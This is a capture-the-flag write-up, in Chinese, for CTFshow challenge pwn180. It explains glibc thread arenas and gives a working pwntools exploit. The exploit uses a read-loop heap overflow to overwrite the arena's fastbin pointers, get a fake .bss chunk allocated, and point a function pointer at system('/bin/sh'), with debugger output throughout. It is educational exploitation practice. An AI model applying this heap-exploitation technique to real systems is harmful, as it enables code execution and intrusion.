CTFshow-pwn180
[!NOTE]
你对arena了解多少?
- 远程环境:Ubuntu 18.04
libc 版本为 Ubuntu GLIBC 2.27-3ubuntu1
没有开启 PIE
niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn180
[*] '/home/niuyingying/ctf/pwn/pwn180'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
在 ida 中查看程序大致流程
__int64 __fastcall main(int a1, char **a2, char **a3)
{
pthread_t newthread; // [rsp+28h] [rbp-118h] BYREF
char s[264]; // [rsp+30h] [rbp-110h] BYREF
unsigned __int64 v6; // [rsp+138h] [rbp-8h]
v6 = __readfsqword(0x28u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
memset(s, 0, 0x100u);
sub_400B7B();
puts("Enter secret password: ");
if ( !fgets(s, 256, stdin) )
_exit(1);
sleep(3u);
if ( strcmp(s, "WTF Arena has a secret!\n") )
{
puts("Access denied");
_exit(1);
}
if ( pthread_create(&newthread, 0, (void *(*)(void *))start_routine, 0) < 0 )
{
puts("Internal error, contact admin.");
_exit(1);
}
pthread_join(newthread, 0);
return 0;
}
__int64 __fastcall start_routine(void *a1)
{
signed int i; // [rsp+14h] [rbp-1Ch]
int v3; // [rsp+18h] [rbp-18h]
signed int v4; // [rsp+1Ch] [rbp-14h]
unsigned int v5; // [rsp+20h] [rbp-10h]
void *v6; // [rsp+28h] [rbp-8h]
write(1, "******************************************\n", 0x2Bu);
write(1, "* Welcome to CTFshow's /dev/null service *\n", 0x2Bu);
write(1, "******************************************\n", 0x2Bu);
write(1, "1. use /dev/null service\n", 0x19u);
write(1, "2. exit\n", 8u);
qword_602038 = (__int64 (__fastcall *)(_QWORD, _QWORD))sub_400A29;// write(1, "data neutralized\n", 0x11u);
while ( 1 )
{
while ( 1 )
{
write(1, "Action: ", 8u);
v3 = sub_400A52();
if ( v3 != 1 )
break;
write(1, "Size: ", 6u);
v4 = sub_400A52();
if ( (unsigned int)v4 <= 0x4000 )
{
write(1, "Pad blocks: ", 0xCu);
v5 = sub_400A52();
if ( v5 <= 0x3E8 )
{
for ( i = 0; i < (int)v5; ++i )
malloc(v4);
v6 = malloc(v4);
write(1, "Content? (0/1): ", 0x10u);
if ( (unsigned int)sub_400A52() )
{
write(1, "Input: ", 7u);
sub_400AFA(v6, v4);
qword_602038(v6, v4);
}
}
else
{
write(1, "Invalid padblock count.\n", 0x18u);
}
}
else
{
write(1, "Invalid size.\n", 0xEu);
}
}
if ( v3 == 2 )
break;
if ( v3 == 1337 )
system("/usr/bin/id");
else
write(1, "Invalid command.\n", 0x11u);
}
return sub_400A07(0);
}
size_t __fastcall sub_400AFA(__int64 a1, size_t a2)
{
size_t result; // rax
int v3; // [rsp+1Ch] [rbp-14h]
size_t i; // [rsp+20h] [rbp-10h]
for ( i = 0; ; i += v3 )
{
result = i;
if ( i >= a2 )
break;
v3 = read(0, (void *)(a1 + i), a2);
if ( v3 <= 0 )
{
write(1, "I/O error\n", 0xAu);
sub_400A07(1);
}
}
return result;
}
发现漏洞函数 sub_400AFA ,每轮都执行 v3 = read(0, (void *)(ptr + i), size) ,正确写法本应是 size - already_read ,因此可以造成大量堆溢出
这里我们来补充一个知识点: Arena
glibc malloc 不是只有“一个堆”。为了多线程性能,glibc 会给线程分配自己的 allocator 状态,叫 arena。arena 里保存:
struct malloc_state {
mutex;
flags;
have_fastchunks;
fastbinsY[10];
top;
last_remainder;
bins[...];
binmap[...];
next;
next_free;
system_mem;
...
};
主线程一般用 main_arena,它在 libc 的数据段里。新线程第一次 malloc 时,glibc 会为它创建 thread arena ,通常通过 mmap 管理。arena 负责记录这个线程的 fastbin、smallbin、large bin、top chunk 等状态
这题 hint 是 Arena,核心就是直接通过溢出改线程 arena 里的 fastbinsY 数组
题外话,这样 patchelf
niuyingying@niuyingying:~/ctf/pwn$ patchelf \
--set-interpreter /home/niuyingying/ctf/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-linux-x86-64.so.2 \
--set-rpath /home/niuyingying/ctf/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64 \
./pwn180
niuyingying@niuyingying:~/ctf/pwn$ ldd ./pwn180
linux-vdso.so.1 (0x00007ffc57bf5000)
libpthread.so.0 => /home/niuyingying/ctf/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libpthread.so.0 (0x00007d2d3d800000)
/home/niuyingying/ctf/pwn/libc-2.27.so (0x00007d2d3d400000)
/home/niuyingying/ctf/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007d2d3dbfe000)
这道题的利用思路大致是脚本先大量申请 0x4000 chunk 耗尽线程 heap,让新的 heap 布局能溢出到 thread arena ,随后利用分段读覆盖 arena 的 fastbin ,把 0x70 fastbin 指向 .bss 附近的 fake chunk 0x60201d ,下一次申请 0x60 会返回伪造 chunk ,payload 前面放 /bin/sh ,偏移 0x602038 - (0x60201d + 0x10) 处覆盖 qword_602038 为 system@plt
用官方 wp 的话讲,就是溢出尺⼨⽐较⼤,如果能够覆盖到线程 arena ,那么就能将 fake_chunk 链接到 fastbin ,进⽽分配过去。但是 arena 是先 mmap 出来的, heap 是过后才分配出来,因此,线程 heap 的地址⽐ arena 的地址 要⾼。为了能够让 heap 地址处在 arena 前⽅,我们得先耗尽当前的 heap 空间,这样系统就可以重新 mmap ⼀块新内存,就可能会出现在 arena 前⽅。最后再溢出,覆盖 arena ,修改 fastbin ,将 fake_chunk 链接上去
攻击脚本如下
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
elf = ELF('./pwn180')
# io = process('./pwn180')
io = remote("pwn.challenge.ctf.show",28217)
# io = gdb.debug('./pwn180', gdbscript='set pagination off\nb *0x400D8D\nb *0x400B3F\nb *0x400DFB\nc')
def Create_0(size,num):
io.recvuntil(b"Action: ")
io.sendline(b"1")
io.recvuntil(b"Size: ")
io.sendline(str(size).encode())
io.recvuntil(b"Pad blocks: ")
io.sendline(str(num).encode())
io.recvuntil(b"Content? (0/1): ")
io.sendline(b"0")
def Create_1(size,num,text):
io.recvuntil(b"Action: ")
io.sendline(b"1")
io.recvuntil(b"Size: ")
io.sendline(str(size).encode())
io.recvuntil(b"Pad blocks: ")
io.sendline(str(num).encode())
io.recvuntil(b"Content? (0/1): ")
io.sendline(b"1")
io.recvuntil(b"Input: ")
io.send(text)
io.recvuntil(b"Enter secret password: \n")
io.send(b"WTF Arena has a secret!\n")
# 耗尽当前线程 heap,让 glibc mmap 新 heap
for i in range(12):
Create_0(0x4000, 1000)
Create_1(0x4000, 262, b"\x00" * 0x3FF0)
sleep(1)
fake_chunk = 0x60201d
payload = b"\x00" * 0x50 + p32(0) + p32(3) + p32(0) + p32(0) + 6 * p64(fake_chunk)
sleep(1)
io.send(payload)
payload = b"/bin/sh\x00".ljust(0x602038 - (0x60201d + 0x10),b"\x00") + p64(elf.plt["system"])
payload = payload.ljust(0x60,b"\x00")
Create_1(0x60,0,payload)
io.interactive()
偏移不是很好理解, debug 看一下
先讲第一句 Create_1(0x4000, 262, b"\x00" * 0x3FF0) ,262 是在前面已经大量耗尽 thread heap 后,用来调整目标 chunk 和 arena 的相对距离,让真正接收 content 的 chunk 落在 arena 前面一个合适位置,最终满足了第二次 read 靠近 arena ,即 chunk + 0x3ff0 + 0x50 = arena
► 2 "pwn180" stopped: 0x400b3f
1 "pwn180" stopped: 0x763d27e08d2d <__pthread_timedjoin_ex+381>
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x3fc000 0x3fd000 rw-p 1000 0 pwn180
0x3fe000 0x3ff000 rw-p 1000 2000 pwn180
0x400000 0x402000 r-xp 2000 4000 pwn180
0x601000 0x602000 r--p 1000 5000 pwn180
0x602000 0x603000 rw-p 1000 6000 pwn180
0x2f9b3000 0x2f9d4000 rw-p 21000 0 [heap]
0x763d18000000 0x763d20000000 rw-p 8000000 0 [anon_763d18000]
0x763d20000000 0x763d23ffd000 rw-p 3ffd000 0 [anon_763d20000]
0x763d23ffd000 0x763d24000000 ---p 3000 0 [anon_763d23ffd]
0x763d271ff000 0x763d27200000 ---p 1000 0 [anon_763d271ff]
0x763d27200000 0x763d27a00000 rw-p 800000 0 [anon_763d27200]
0x763d27a00000 0x763d27be7000 r-xp 1e7000 0 libc-2.27.so
0x763d27be7000 0x763d27de7000 ---p 200000 1e7000 libc-2.27.so
0x763d27de7000 0x763d27deb000 r--p 4000 1e7000 libc-2.27.so
0x763d27deb000 0x763d27ded000 rw-p 2000 1eb000 libc-2.27.so
0x763d27ded000 0x763d27df1000 rw-p 4000 0 [anon_763d27ded]
0x763d27e00000 0x763d27e1a000 r-xp 1a000 0 glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libpthread-2.27.so
0x763d27e1a000 0x763d28019000 ---p 1ff000 1a000 glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libpthread-2.27.so
0x763d28019000 0x763d2801a000 r--p 1000 19000 glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libpthread-2.27.so
0x763d2801a000 0x763d2801b000 rw-p 1000 1a000 glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libpthread-2.27.so
0x763d2801b000 0x763d2801f000 rw-p 4000 0 [anon_763d2801b]
0x763d28200000 0x763d28227000 r-xp 27000 0 glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so
0x763d28427000 0x763d28428000 r--p 1000 27000 glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so
0x763d28428000 0x763d28429000 rw-p 1000 28000 glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so
0x763d28429000 0x763d2842a000 rw-p 1000 0 [anon_763d28429]
0x763d284c5000 0x763d284ca000 rw-p 5000 0 [anon_763d284c5]
0x7ffdd7cac000 0x7ffdd7cce000 rw-p 22000 0 [stack]
0x7ffdd7ce2000 0x7ffdd7ce6000 r--p 4000 0 [vvar]
0x7ffdd7ce6000 0x7ffdd7ce8000 r-xp 2000 0 [vdso]
pwndbg> arenas
arena type arena address heap address map start map end perm size offset file
-------------- --------------- -------------- -------------- -------------- ------ ------- -------- ----------------
main_arena 0x763d27debc40 0x2f9b3000 0x2f9b3000 0x2f9d4000 rw-p 21000 0 [heap]
non-main arena 0x763d20000020 0x763d200008c0 0x763d20000000 0x763d23ffd000 rw-p 3ffd000 0 [anon_763d20000]
↳ 0x763d18000020 0x763d18000000 0x763d20000000 rw-p 8000000 0 [anon_763d18000]
↳ 0x763d18000020 0x763d18000000 0x763d20000000 rw-p 8000000 0 [anon_763d18000]
pwndbg> arena
Arena for thread 2 is located at: 0x763d20000020
{
mutex = 0,
flags = 2,
have_fastchunks = 0,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x763d1fffffe0,
last_remainder = 0x0,
bins = {0x763d20000080, 0x763d20000080, 0x763d20000090, 0x763d20000090, 0x763d200000a0, 0x763d200000a0, 0x763d200000b0, 0x763d200000b0, 0x763d200000c0, 0x763d200000c0, 0x763d200000d0, 0x763d200000d0, 0x763d200000e0, 0x763d200000e0, 0x763d200000f0, 0x763d200000f0, 0x763d20000100, 0x763d20000100, 0x763d20000110, 0x763d20000110, 0x763d20000120, 0x763d20000120, 0x763d20000130, 0x763d20000130, 0x763d20000140, 0x763d20000140, 0x763d20000150, 0x763d20000150, 0x763d20000160, 0x763d20000160, 0x763d20000170, 0x763d20000170, 0x763d20000180, 0x763d20000180, 0x763d20000190, 0x763d20000190, 0x763d200001a0, 0x763d200001a0, 0x763d200001b0, 0x763d200001b0, 0x763d200001c0, 0x763d200001c0, 0x763d200001d0, 0x763d200001d0, 0x763d200001e0, 0x763d200001e0, 0x763d200001f0, 0x763d200001f0, 0x763d20000200, 0x763d20000200, 0x763d20000210, 0x763d20000210, 0x763d20000220, 0x763d20000220, 0x763d20000230, 0x763d20000230, 0x763d20000240, 0x763d20000240, 0x763d20000250, 0x763d20000250, 0x763d20000260, 0x763d20000260, 0x763d20000270, 0x763d20000270, 0x763d20000280, 0x763d20000280, 0x763d20000290, 0x763d20000290, 0x763d200002a0, 0x763d200002a0, 0x763d200002b0, 0x763d200002b0, 0x763d200002c0, 0x763d200002c0, 0x763d200002d0, 0x763d200002d0, 0x763d200002e0, 0x763d200002e0, 0x763d200002f0, 0x763d200002f0, 0x763d20000300, 0x763d20000300, 0x763d20000310, 0x763d20000310, 0x763d20000320, 0x763d20000320, 0x763d20000330, 0x763d20000330, 0x763d20000340, 0x763d20000340, 0x763d20000350, 0x763d20000350, 0x763d20000360, 0x763d20000360, 0x763d20000370, 0x763d20000370, 0x763d20000380, 0x763d20000380, 0x763d20000390, 0x763d20000390, 0x763d200003a0, 0x763d200003a0, 0x763d200003b0, 0x763d200003b0, 0x763d200003c0, 0x763d200003c0, 0x763d200003d0, 0x763d200003d0, 0x763d200003e0, 0x763d200003e0, 0x763d200003f0, 0x763d200003f0, 0x763d20000400, 0x763d20000400, 0x763d20000410, 0x763d20000410, 0x763d20000420, 0x763d20000420, 0x763d20000430, 0x763d20000430, 0x763d20000440, 0x763d20000440, 0x763d20000450, 0x763d20000450, 0x763d20000460, 0x763d20000460, 0x763d20000470, 0x763d20000470, 0x763d20000480, 0x763d20000480, 0x763d20000490, 0x763d20000490, 0x763d200004a0, 0x763d200004a0, 0x763d23ffcac0, 0x763d23ffcac0, 0x763d200004c0, 0x763d200004c0, 0x763d200004d0, 0x763d200004d0, 0x763d200004e0, 0x763d200004e0, 0x763d200004f0, 0x763d200004f0, 0x763d20000500, 0x763d20000500, 0x763d20000510, 0x763d20000510, 0x763d20000520, 0x763d20000520, 0x763d20000530, 0x763d20000530, 0x763d20000540, 0x763d20000540, 0x763d20000550, 0x763d20000550, 0x763d20000560, 0x763d20000560, 0x763d20000570, 0x763d20000570, 0x763d20000580, 0x763d20000580, 0x763d20000590, 0x763d20000590, 0x763d200005a0, 0x763d200005a0, 0x763d200005b0, 0x763d200005b0, 0x763d200005c0, 0x763d200005c0, 0x763d200005d0, 0x763d200005d0, 0x763d200005e0, 0x763d200005e0, 0x763d200005f0, 0x763d200005f0, 0x763d20000600, 0x763d20000600, 0x763d20000610, 0x763d20000610, 0x763d20000620, 0x763d20000620, 0x763d20000630, 0x763d20000630, 0x763d20000640, 0x763d20000640, 0x763d20000650, 0x763d20000650, 0x763d20000660, 0x763d20000660, 0x763d20000670, 0x763d20000670, 0x763d20000680, 0x763d20000680, 0x763d20000690, 0x763d20000690, 0x763d200006a0, 0x763d200006a0, 0x763d200006b0, 0x763d200006b0...},
binmap = {0, 0, 16, 0},
next = 0x763d27debc40,
next_free = 0x0,
attached_threads = 1,
system_mem = 201314304,
max_system_mem = 201314304,
}
可以看到,此时 top = 0x763d1fffffe0 ,所以它已经在第一段 heap 的尾巴上了,此时 0x763d20000020 - 0x763d1fffffe0 = 0x40 ,向最后一个 chunk 写入 0x3ff0 + 0x10 + 0x40 到达 arena
再看下一句, payload = b"\x00" * 0x50 + p32(0) + p32(3) + p32(0) + p32(0) + 6 * p64(fake_chunk) ,前面的 0x50 即为 0x10 + 0x40
glibc 2.27 的 non-main arena 开头大概是:
arena + 0x00: mutex
arena + 0x04: flags
arena + 0x08: have_fastchunks
arena + 0x0c: padding
arena + 0x10: fastbinsY[0]
arena + 0x18: fastbinsY[1]
arena + 0x20: fastbinsY[2]
arena + 0x28: fastbinsY[3]
arena + 0x30: fastbinsY[4]
arena + 0x38: fastbinsY[5] <-- malloc(0x60) 用这个
arena + 0x40: fastbinsY[6]
...
那么 p32(0) 就会写 arena + 0x00: mutex = 0 ,再然后 p32(3) 写 arena + 0x04: flags = 3 ,其中这个 3 是一种“保守恢复 arena flags”的写法,避免把 flags 清零造成后续 malloc 走到不想要的 consolidate 或连续性判断路径,接下来补齐偏移,后面的 p64(fake_chunk) 就会从 arena + 0x10 开始,也就是 fastbinsY 数组开头,我们将 arena->fastbinsY[0..5] 全改成 0x60201d ,debug 看一下 0x60201d 这个地址是怎么来的
pwndbg> x/-40gx 0x602038
0x601ef8: 0x5a5a5a5a5a5a5a5a 0x5a5a5a5a5a5a5a5a
0x601f08: 0x5a5a5a5a5a5a5a5a 0x5a5a5a5a5a5a5a5a
0x601f18: 0x5a5a5a5a5a5a5a5a 0x5a5a5a5a5a5a5a5a
0x601f28: 0x5a5a5a5a5a5a5a5a 0x5a5a5a5a5a5a5a5a
0x601f38: 0x5a5a5a5a5a5a5a5a 0x5a5a5a5a5a5a5a5a
0x601f48: 0x5a5a5a5a5a5a5a5a 0x5a5a5a5a5a5a5a5a
0x601f58: 0x0000000000601d58 0x0000000000000000
0x601f68: 0x0000000000000000 0x0000763d27e079b0
0x601f78 <_exit@got.plt>: 0x0000763d27ae4dd0 0x0000763d27a809c0
0x601f88 <write@got.plt>: 0x0000763d27e11270 0x0000763d27b34c80
0x601f98 <system@got.plt>: 0x0000763d27e12770 0x0000763d27b93470
0x601fa8 <read@got.plt>: 0x0000763d27e11340 0x0000763d27a7eb20
0x601fb8 <strcmp@got.plt>: 0x0000763d27b69d60 0x0000763d27b1b820
0x601fc8 <malloc@got.plt>: 0x0000763d27a97070 0x0000763d27a812f0
0x601fd8 <pthread_join@got.plt>: 0x0000763d27e08b50 0x0000763d27a40680
0x601fe8 <sleep@got.plt>: 0x0000763d27ae4870 0x0000763d27a21ab0
0x601ff8: 0x0000000000000000 0x0000000000000000
0x602008: 0x0000000000000000 0x0000763d27dec760
0x602018: 0x0000000000000000 0x0000763d27deba00
0x602028: 0x0000000000000000 0x0000000000000000
pwndbg> x/40gx 0x602018 + 13 - 8
0x60201d: 0x3d27deba00000000 0x0000000000000076
0x60202d: 0x0000000000000000 0x0000400a29000000
0x60203d: 0x0000000000000000 0x0000000000000000
0x60204d: 0x0000000000000000 0x0000000000000000
0x60205d: 0x0000000000000000 0x0000000000000000
0x60206d: 0x0000000000000000 0x0000000000000000
0x60207d: 0x0000000000000000 0x0000000000000000
0x60208d: 0x0000000000000000 0x0000000000000000
0x60209d: 0x0000000000000000 0x0000000000000000
0x6020ad: 0x0000000000000000 0x0000000000000000
0x6020bd: 0x0000000000000000 0x0000000000000000
0x6020cd: 0x0000000000000000 0x0000000000000000
0x6020dd: 0x0000000000000000 0x0000000000000000
0x6020ed: 0x0000000000000000 0x0000000000000000
0x6020fd: 0x0000000000000000 0x0000000000000000
0x60210d: 0x0000000000000000 0x0000000000000000
0x60211d: 0x0000000000000000 0x0000000000000000
0x60212d: 0x0000000000000000 0x0000000000000000
0x60213d: 0x0000000000000000 0x0000000000000000
0x60214d: 0x0000000000000000 0x0000000000000000
所以 0x60201d 同时满足两件事:
- malloc 返回
0x60202d,方便覆盖0x602038 - fake chunk 的 size 字段能借用 libc 指针高字节,通过 fastbin size 检查
最后下一次 malloc(0x60) 返回 0x60202d ,从 0x60202d 写 payload,覆盖 0x602038 的函数指针从而 get shell
好啦~ ctfshow 堆利用部分刷完了,完结撒花~

浙公网安备 33010602011771号